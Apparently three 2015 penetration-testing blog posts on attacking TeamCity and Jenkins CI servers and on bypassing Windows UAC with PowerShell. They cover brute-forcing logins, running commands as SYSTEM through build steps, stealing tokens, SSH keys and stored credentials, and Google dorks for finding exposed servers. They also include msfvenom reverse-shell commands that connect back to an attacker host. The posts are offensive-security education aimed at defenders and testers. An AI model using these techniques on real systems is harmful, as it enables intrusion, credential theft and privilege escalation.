Tuesday, December 1, 2015

Week of Continuous Intrusion Tools - Day 2 - TeamCity

Welcome to the Day 2 of the Week of Continuous Intrusion Tools. I am doing a series of posts which explore the attack surface of CI Tools.

To read posts of other days refer the table below:

Day 1 - Jenkins (and Hudson) (Click Here)
Day 2 - TeamCity
Day 3 - Go and CruiseControl
Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation
Day 5 - Defense and other discussion

Day 2 is dedicated to TeamCity. It can be found here. Some of the security issues with TeamCity are:
  • Registration of new users is enabled by default. Registered user gets Project Developer privileges.
  • No password complexity/policy for user passwords.
  • Runs with SYSTEM or high privilege user on Windows (most configs settle with an admin account). 
  • Guest login could be enabled. In fact, so many public instances has it enabled. 

The information available with public instances of TeamCity is mind boggling! I saw web portal credentials, database credentials, hidden services and code repositories and much more on some public instances. We may not require compromising TeamCity to get access to intellectual property of an organization, much could be gathered from the instance. 

But to access the Operating System and do more fun stuff we must have a Project Administrator privilege (non-admin). This user role has the capability of Adding/Editing build steps.

Fortunately, TeamCity has some protection against Brute Force attacks. It locks a user for one minute after five consecutive wrong login attempts within a minute. Also, it sends the password in encrypted form in transit. Still, since it does not enforce any password policy on user passwords, it is still possible with reasonable success to brute force it. 

To enumerate users, we can either go through [TeamCityUrl]/viewLog.html?buildId=1 and iterate through it to look for user who triggered the build or a better way is to use its API and iterate through [TeamCityUrl]/app/rest/builds/id:1 and look for "user" tag. There are generally enough manually triggered builds to enumerate a good number of users.
After building a list of users, we can use the API to brute force credentials. TeamCity API allows access using Basic Auth :) We can use Burp Intruder to launch a brute force attack against TeamCity (or any other tool of choice). To use Intruder against Basic Auth see this tutorial. Success looks like this:
Keep in mind that TeamCity blocks a user for one minute after five consecutive login attempts, using delay is advised. We should keep trying unless access to a Project Administrator is achieved.

Having the privileges to Configure builds we can do interesting stuff.

Executing Commands

As a Project Administrator we can add Build Steps. A Build Step with PowerShell runner is an excellent choice on a Windows machine. (On *nix machines Shell commands and scripts could be executed)
And when the Project is run:
Sweet! We have SYSTEM privileges.

Now, lets use some PowerShell hackery to improve the result of the above. In a restricted environment, we may have only limited options for a connect back. Lets use Invoke-PoshRatHttps.ps1 from Nishang. Thanks to Casey, this shell makes a valid HTTPS connection between a target and a listener. Also, its client part is quite small and we just need to execute one line of PowerShell on the target.
On the attacker's machine, just the Invoke-PoshRatHttps listener needs to be started. As soon as the build is triggered:
Awesome! Encrypted traffic between the attacker and the client. I don't stress using PowerShell for nothing :)

Now, if we have the capability of configuring builds on master, few more interesting things can be done.

Super User

TeamCity has a special user called Super User "which allows you to access the server UI with System Administrator permissions if you do not remember the credentials or need to fix authentication-related settings". Documentation about it is here. To login as a Super User we must have the Super User authentication token which could be found in the teamcity-server.log file. In a default installation on Windows, the file is located in the C:\TeamCity\logs\ directory. Following simple PowerShell command could be used to read the token from a Windows master:
After getting the token, it could either be used with a blank username at the TeamCity login page or at [TeamCityUrl]/login.html?super=1. This is how a Super User login looks like:
Great! Interestingly, a Super User token is regenerated only when the TeamCity Server service is restarted. Also, there can be any number of Super User logins simultaneously. It means once you get access to a Super User token, it could provide a reasonable long access to the TeamCity instance.

Fun Fact: We can lock out Super User for one minute by attempting to login with a blank username and password on TeamCity login page. Though I have not tried it, a Super User may be locked for longer duration by scripting the login attempts.

SSH Keys in clear

TeamCity allows users to upload SSH keys for projects. These keys, which are the private ones, are stored in clear on the master! Read the documentation here.Whats worse is we can read the keys if we have the ability to configure builds on the master. The keys are stored in the [TeamCity Data Directory]\config\projects\[project]\pluginData\ssh_keys directory. We can get the Data Directory from the teamcity-server.log file.
Bingo! May I remind you that we are in 2015 :)

Google Dorks

Use the below Google Dorks to spot public instances of TeamCity:
Instances with Guest login enabled: intitle:"Projects - TeamCity"
Instances which allow Registration of new account: "intitle:Register a new account – TeamCity"

TeamCity instances have very sensitive information. The below screenshots are just examples, there is a gold mine out there.

In the below screenshot, the build log contained url of a product under development along with the credentials to access it with admin privileges.
The one below had credentials for the database administrator sa account password. The public IP address of the database was visible in another build log. 

Unserialization Vulnerability

As far as I know, TeamCity does not use the affected library.

Video Demonstration

A quick video demonstration of attacks discussed above:

Hope you enjoyed the post! Feedback and comments are welcome :)

To support my research, join me for a two days training "PowerShell for Penetration Testers" at:

BlackHat, Asia (March 29-30th, 2016) - https://www.blackhat.com/asia-16/training/powershell-for-penetration-testers.html

HITB, Amsterdam (May 24-25th, 2016) - http://conference.hitb.org/hitbsecconf2016ams/sessions/2-day-training-3-powershell-for-penetration-testers/

Monday, November 30, 2015

Week of Continuous Intrusion Tools - Day 1 - Jenkins

Continuous Integration (CI) tools are used to frequently integrate commits by developers. Integration result in execution of builds and tests. CI tools are used by development, build management and source code management teams of many software/code development organizations. Read more about it here.

CI tools support distributed builds. That is, in a typical setup, a CI tool master server has the ability to execute commands on a good number of machines where a build slave or agent is running. A simplified typical industry setup for Continuous Integration looks like s:

I got interested in CI tools when during a penetration test, I got access to one of the client's Jenkins instance available on the internet. It was trivial to compromise it and the access it provided amazed me. I blogged about it here.

As I began to actively look for and compromise CI Servers, I realized that they are widely used, lack basic security controls, often poorly configured yet hold immense importance because of the information (code repositories, build logs, credentials etc.)  and machines (distributed builds) they have access to. If a hacker manages to get access to a CI tool, it provides access to, at least, the source code and command execution access to all the machines running slaves/agents.

Still, what I found is an absolute disregard for security of CI tools, both by its users and developers. Even for instances over the internet, as we will see later on, many leave them running with default or improper configuration.

To generate awareness about the security and attack surface of CI tools, I announce a Week of Continuous Intrusion beginning from 30th November, 2015. For the first three days we will discuss security issues in a CI tool (Jenkins and Hudson, TeamCity, Go and CruiseControl) and how its features and/or mis-configurations could be abused. On the fourth day, we will see a Common Abuse Set and how access to these tools could be used for Lateral movement and post exploitation. On the fifth day, we will discuss defense and other things.

All the code and other materials could be found here: https://github.com/samratashok/ContinuousIntrusion

Day 1 - Jenkins (and Hudson)
Day 2 - TeamCity(Click Here)
Day 3 - Go and CruiseControl
Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation
Day 5 - Defense and other discussion

I hope that this Week of Continuous Intrusion will help System Administrators and Blue Teams to understand the attack surface of CI tools and defend against attacks. I wish Penetration Testers and Red Teams will use this to break into networks thus increasing the security of their clients. I also intend to people doing more extensive research on security of these tools.

Lets begin with Day 1 - Jenkins.


Jenkins is the most widely used CI tool. You can download it from here. Hudson has not been tested separately as both are quite similar. Whatever we are going to do with Jenkins should be applicable to Hudson as well.

We can spot the following security issues in Jenkins:
  • No authentication in the default installation.
  • No protection against brute force attacks.
  • No password complexity/policy for user passwords.
  • Runs with SYSTEM or high privilege user on Windows (never seen it running with non-admin privileges).
  • Prior to version 1.580, all users of  Jenkins and console output of builds could be seen without authentication. Still, most Jenkins instances are configured the same way (Read privilege to Anonymous).
Documentation about securing Jenkins is here
For public instances of Jenkins, so much information could be collected there may be no need to actually compromise it. The information in build outputs is scary! I have seen database credentials, Git credentials, SSH keys etc. More about this in the Google Dorks section below.
After configuring the recommended Matrix Based Security, to be able to play with the Operating System on which Jenkins is installed we must have access to a user who has privileges to Configure builds (a non-admin user). In most of the Jenkins instances, it is trivial to enumerate the users. Combine this with no protection against Brute Force attacks and no password policy and we can easily brute force credentials of users. 
User enumeration could be done by browsing to the following url (Anonymous with Read rights necessary): [JenkinsUrl]/asynchPeople/
We can brute force Jenkins using Burp suite's Intruder or any similar tool. Catch a login request in Burp (POST request to [JenkinsUrl]/j_acegi_security_check) and send it to Intruder. Remember to remove the json parameter from the request. Also, we must go to Options and tell Intruder to follow redirections.
In my experience, CI Tools user love to use their username as password. Therefore, first we will use the "pitchfork" attack type in Intruder to try to use username as password in the brute force requests. If that does not work, we will use the "Cluster Bomb" attack type. We will use usernames as payload 1 and a password list as payload 2. 
And this is how success looks like:
We can keep trying unless we find a user with Configure rights for a project.
Good. With the ability to Configure builds we can do much fun stuff!

Executing Commands

With the privileges to configure builds, we can add/edit "Build Steps" of a project. Build steps provide various options like Executing batch or shell commands (or even more depending on the installed plugins). Lets try it out!
Bingo! We have command execution with SYSTEM privileges on a Windows slave node. Note that this is a feature of Jenkins and not a vulnerability.

I advocate using PowerShell wherever we can to improve the existing techniques of penetration testing. In the current scenario, we can move to a reverse shell from this simple command execution by using PowerShell. There is no need to drop a binary or any other tool for that. Lets use Invoke-PowerShellTcpOneLine.ps1 from Nishang. The script contains two one-line shells, we just need to use one of them so remove the other line of code from the script. To execute it from memory, we must encode it using Invoke-Encode from Nishang with the -OutCommand parameter.
Now the generated encoded script from "encodedcommand.txt" file could be used with PowerShell's -encodedcommand parameter to execute the script without touching disk.
Great! An in-memory reverse shell with SYSTEM privileges! There is a reason why we use Powershell :)

For metasploit fans (like me), we can also get a reverse meterpreter by abusing this functionality. We must generate a payload using "./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[IPAddress] -f psh-cmd". The generate payload can then be used like this:
Awesome, isn't it?

Note that we executed the commands by utilizing ability to configure builds on a slave. Projects could be configured to use the executor on master as well. If we have the ability to configure builds on master, couple of more interesting attacks could be executed.

Removing Security

If we can configure builds on master, we can remove all the security for the Jenkins server. See this. We just need to remove/rename or edit config.xml from the $JENKINS_HOME/config directory and restart the Jenkins service. If editing, we just need to replace [useSecurity]true[/useSecurity] with [useSecurity]false[/useSecurity] in the config.xml (in case Realm and authorization . For Windows, we can use the below PowerShell commands to edit config.xml

To know $JENKINS_HOME, see the build logs for any project on master.

Running it as a build step on master and a service restart will result in removal of all security from the web console and anyone browsing to the URL will have admin rights. During my tests, I was unable to restart Jenkins service using PowerShell's Restart-Service or sc.exe on Windows. It was only from a meterpreter session when the service could be restarted. On *nix, it may not be possible to resatrt Jenkins service without root.

Decrypt Credentials

It is possible to retrieve credentials stored by Jenkins in clear text. This include passwords, passphrases, SSH keys (including private keys) and more which are saved using the Manage Credentials section of an admin user. By abusing ability to configure build on master we can read and decrypt the credentials. A thorough blog post from where I stole the technique from is this: http://thiƩbaud.fr/jenkins_credentials.html

We need three pieces of information from Jenkins master:
  1. credentials.xml from the $JENKINS_HOME directory which contains the encrypted passwords.
  2.  hudson.util.secret from the $JENKINS_HOME\secrets directory which encrypts the passwords.
  3. master.key from the $JENKINS_HOME\secrets directory which encrypts hudson.util.secret.
On a Windows master, below PowerShell commands could be used to read these files. Note that we are reading hudson.util.secret and master.key in bytes to preserve their format.
The keys could be converted back to the raw format using TexttoExe from Nishang (or any other tool or script on *nix).

Using decrypt.py from here (mirrored from here) the passwords can be decrypted:
Bingo! And this is 2015. Lets all of us do a facedesk together.

Note that in case of SSH keys, above exercise is required to retrieve only the passphrase. SSH keys are stored in clear in the $JENKINS_HOME or in credentials.xml in clear text! Also, no salt is used to encrypt the passwords so it is possible to compare encrypted passwords from Jenkins with known encrypted text.

Google Dorks

Use the below Google dorks for public instances of Jenkins. More could be created depending on the use case:
Public instances: intitle:"Dashboard [Jenkins]"
Public instances with no authentication: intitle:"Dashboard [Jenkins]" intext:"Manage Jenkins"

Just replace Jenkins with Hudson in above for Hudson instances.

The kind of sensitive data exposed by public instances of Jenkins is amazing! They leak much about the source code creation and management. While while looking at such instances one can find passwords for private source code repositories, links to under development products, employee data and more, what I found was more interesting than any of these.

In the screenshot below, someone left an interesting message on a public unauthenticated server of Jenkins.
Another one, highlighting the state of security of CI tools is below. This Jenkins instance runs as root without authentication:

Unserialization Vulnerability

In case you missed it, Jenkins (and many more tools) were affected by the Unserialization bug in commons-collection Java library. Read more about it here.

This vulnerability could be exploited to get remote command execution on a Jenkins instance. All we need is:
    1. Get the ysoserial (cool name!) from here: https://github.com/frohoff/ysoserial 
    2. Create a reverse shell using ysoserial:
    3. Get the Jenkins exploit from here: https://github.com/foxglovesec/JavaUnserializeExploits
    4. Use it against a Jenkins instance (in your lab):
    5. Do the victory dance.

    This is how success looks like:
    Instances exposed on the internet may be safe because the exploit connects on a higher port which is random (Port 49189 in the above screenshot). If an environment allows connections to such ports from the Internet they probably have bigger problems to solve.

    Jenkins released a fix on 11th November, 2015 which could be found here.

    Video Demonstration

    I made a quick video to demonstrate attacks discussed in this post.

    Slides of my talk at BlackHat Europe and DeepSec

    I gave a talk at BlackHat Europe and DeepSec on Continuous Intrusion: Why CI tools are an attacker's best friends. Slides are here:

    Hope you enjoyed the post! Feedback and comments are welcome :)

    To support my research, join me for a two days training "PowerShell for Penetration Testers" at:

    BlackHat, Asia (March 29-30th, 2016) - https://www.blackhat.com/asia-16/training/powershell-for-penetration-testers.html

    HITB, Amsterdam (May 24-25th, 2016) - http://conference.hitb.org/hitbsecconf2016ams/sessions/2-day-training-3-powershell-for-penetration-testers/

    Wednesday, September 30, 2015

    Bypassing UAC with PowerShell

    Recently during a Red Team engagement, I got shell access to some user machines using Client Side Attacks. In many cases, the users had administrative privileges but I was stuck into non-elevated PowerShell reverse shells.  UAC (User Account Control) was the spoilsport here. I hate UAC, it is annoying yet it "is not a security boundary". I read and tried stuff for bypassing UAC and learned that it is trivial to bypass it. In this post, we will go through various methods and code required to bypass UAC.

    The tool of choice for bypassing UAC is UACME https://github.com/hfiref0x/UACME. This awesome tool  implements various methods and is thankfully open source. Thanks to @hFirF0XAs.

    As I always try to keep the post-exploitation phase within PowerShell, I tested UACME and implemented some of the methods using PowerShell . I give you Invoke-PsUACme.ps1. It could be found in the Escalation category of Nishang. 
    Lets begin with the sysprep method which is the most commonly used method of bypassing UAC. Made famous by Leo Davidson in 2009 (details here), it involves the following steps:

    1. Copy/plant a DLL in the C:\Windows\System32\sysprep directory. The name of the DLL depends on the Windows version.
    CRYPTBASE.dll for Windows 7
    shcore.dll for Windows 8
    2.  Execute sysprep.exe from the above directory. It will load the the above DLL and execute it with elevated privileges. 

    In fact, all the UAC bypass methods involve playing with DLL and executable names and locations. See the table below:

    Method NameWrite DLL toDLL NameExecutable to Use
    sysprepC:\Windows\System32\sysprep\CRYPTBASE.dll for Windows 7 and shcore.dll for Windows 8C:\Windows\System32\sysprep\sysprep.exe
    oobeC:\Windows\System32\oobe\wdscore.dll for Windows 7, 8 and 10C:\Windows\System32\oobe\setupsqm.exe
    actionqueueC:\Windows\System32\sysprep\ActionQueue.dll only for Windows 7C:\Windows\System32\sysprep\sysprep.exe
    migwizC:\Windows\System32\migwiz\wdscore.dll for both Windows 7 and 8C:\Windows\System32\migwiz\migwiz.exe
    cliconfgC:\Windows\System32\ntwdblib.dll for Windows 7, 8 and 10C:\Windows\System32\cliconfg.exe
    winsatC:\Windows\System32\sysprep\Copy winsat.exe from C:\ Windows\System32\ to C:\Windows\System32\sysprep\ntwdblib.dll for Windows 7 and devobj.dll for Windows 8 and 10C:\Windows\System32\sysprep\winsat.exe
    mmcC:\Windows\System32\ntwdblib.dll for Windows 7 and elsext.dll for Windows 8 and 10.C:\Windows\System32\mmc.exe eventvwr
    Builds Tested:
    Windows 7 build 6.1.7601.65536
    Windows 8.1 build 6.3.9600.0 
    Windows 10 build 10.0.10240.0
    Now, to copy the DLL to the the sysprep directory, we need elevated privileges. The two most popular ways of achieving this elevation are: use an IFileOperation COM object or use Wusa.exe with its "extract" option.
    Currently, Invoke-PsUACme uses the Wusa method. Since Wusa  is set to auto-elevate, we can use it to extract a cab file to the sysprep directory. A cab file could be created using the makecab utility.
    Above commands are there just for explaining what Invoke-PsUACme does. We need not run the commands manually.
    Now, the DLL which Invoke-PsUACme uses is Fubuki from the UACME project with a minor change. Instead of executing cmd.exe, we tell the DLL to execute cmd.bat from C:\Windows\Temp. It is this cmd.bat which will contain our payload to be executed on the target. This provides us a lot of flexibility while executing complex attacks.
    Above DLLs (for 64 bit and 32 bit) are hard coded in the script in DLLBytes64 and DLLBytes32 variables. The script is able to determine the bit-ness of the process from which it is called and uses the apt DLL.

    Coming to the more interesting part, Invoke-PsUACme could be used this way:
    Nice, we are able to bypass UAC! The default payload just checks if the bypass was successful. Note that the -noexit parameter is passed to PowerShell in cmd.bat so that we can see the output.

    Custom Payload

    We can always use custom payloads as well:
    Note that we need to specify the powershell.exe as well. Whatever is specified for the Payload parameter ends up in C:\Windows\Temp\cmd.bat. You can always change the path to the batch file using the PayloadPath parameter after changing it in the DLL.
    We will come back to more practical use of the Payload parameter in a minute.

    Custom DLL

    To use a Custom DLL, we can use the CustomDLL64 and CustomDLL32 parameters. For example, lets use the original 64 bit Fubuki DLL from UACME and use it with Invoke-PsUACme
    We can also prvide a byte array of DLLs to the DLLBytes64 and DLLBytes32 parameter.

    Ok, fine. How is it useful?

    Lets recreate the scenario with which I started the post, we have few reverse PowerShell shells with no elevated rights. We can use Invoke-PsUACme to execute commands and scripts with elevated rights. Lets use reverse TCP one liner from Nishang, encode it using Invoke-Encode and use it with Invoke-PsUACme:
    Awesome! We successfully bypassed UAC and elevated our privileges. To verify it, we ran Get-PassHashes from Powerpreter.

    Once elevated privileges are there, we can always elevate to SYSTEM using Enable-DuplicateToken from Nishang/Powerpreter.

    In fact, after SYSTEM privs we can use Invoke-Mimikatz from Powersploit for using domain tokens as well. Get your Golden/Silver tickets right here! In case you cannot pull scripts from a web server as in above example, use Invoke-Encode to encode them as compressed base64 and use with the EncodedCommand (-e or -encodecommand) parameter of powershell.exe. You may like to use '-WindowStyle hidden' paramter of PowerShell to avoid showing any pop ups to the user.

    There are limitless opportunities with this. Although, metasploit has its own implementation of UAC bypass, we can get a meterpreter with elevated privileges. We can generate a meterpreter in PowerShell using msfvenom: ./msfvenom -p windows/x64/meterpreter/reverse_https LHOST= -f psh-reflection

    I can never stop stressing how useful PowerShell is for pen testing Windows network. For example, we can use Invoke-PsUACme as a payload with the Client Side attacks initially as well. Lets use Invoke-PsUACme with Out-Word from Nishang. Lets make the function call from the Invoke-PsUACme script itself to avoid unnecessary complex command.

    Sweet! An elevated interactive reverse PowerShell shell.

    As you can see implementing existing techniques in PowerShell is very rewarding. It not only increases the understanding of PowerShell but the technique as well.


    Since, Invoke-PsUACme is based on the UACME project which itself implementd techniques used by malware, there are chances that DLLs dropped by it are detected by AV in future. Going by the past record, minor changes in the DLL source should solve this problem, whenever it arises.

    Wusa.exe on Windows 10  has no "extract" option. Therefore, Invoke-PsUACme does not work on Windows 10 currently. Please feel free to implement IFileOperation or any other method. I welcome pull requests.

    There are other implementations as well of UAC bypass in PowerShell. See this http://www.powershellempire.com/?page_id=380

    To better know about the UAC bypass, follow the below links:

    Hope you enjoyed the post!

    Shameless self promotion

    If you liked the post and want to learn more and/or want to support my research and work, join me for a two days training "PowerShell for Penetration Testers" at:
    DeepSec, Vienna (November 17-18th, 2015) - https://deepsec.net/speaker.html#WSLOT192